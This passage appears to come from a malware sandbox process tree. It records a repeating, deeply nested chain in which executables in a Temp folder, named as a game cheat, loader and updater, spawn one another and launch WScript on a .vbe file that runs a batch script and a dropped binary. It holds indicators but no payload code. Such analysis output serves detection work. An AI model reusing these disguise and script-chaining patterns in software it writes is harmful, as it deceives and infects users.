                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              58⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2556
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  59⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1728
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\XClient.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\XClient.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      60⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:3008
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\RustCheat.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\RustCheat.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        60⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:828
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        59⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:2592
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            60⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2796
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                cmd /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                61⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2276
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\hostNet\bridgeblockportComBroker.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\hostNet/bridgeblockportComBroker.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  62⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1624
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              59⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:832
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  60⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:468
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\XClient.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\XClient.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      61⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1660
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\RustCheat.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\RustCheat.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        61⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:2236
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        60⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1484
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            61⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1348
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            60⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2000
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                61⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2440
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  61⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2820
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      62⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:924
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      61⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2484
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          62⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2912
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            62⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:3068
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                63⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2860
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                62⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2244
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    63⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:828
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      63⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1240
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          64⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1812
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          63⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2436
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              64⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:848
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                64⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2820
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    65⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1588
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    64⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1808
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        65⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:2052
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          65⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2224
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              66⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2312
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              65⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1464
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  66⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2992
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    66⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2068
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        67⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1232
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        66⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1880
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            67⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:700
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              67⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2516
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  68⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2552
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  67⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:3060
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      68⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2592
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        68⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:3052
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            69⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:300
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            68⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2776
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                69⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2212
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  69⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2944
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      70⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2852
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      69⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1840
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          70⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2456
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            70⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1980
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                71⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1568
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                70⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2404
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    71⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1660
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\sol.exe
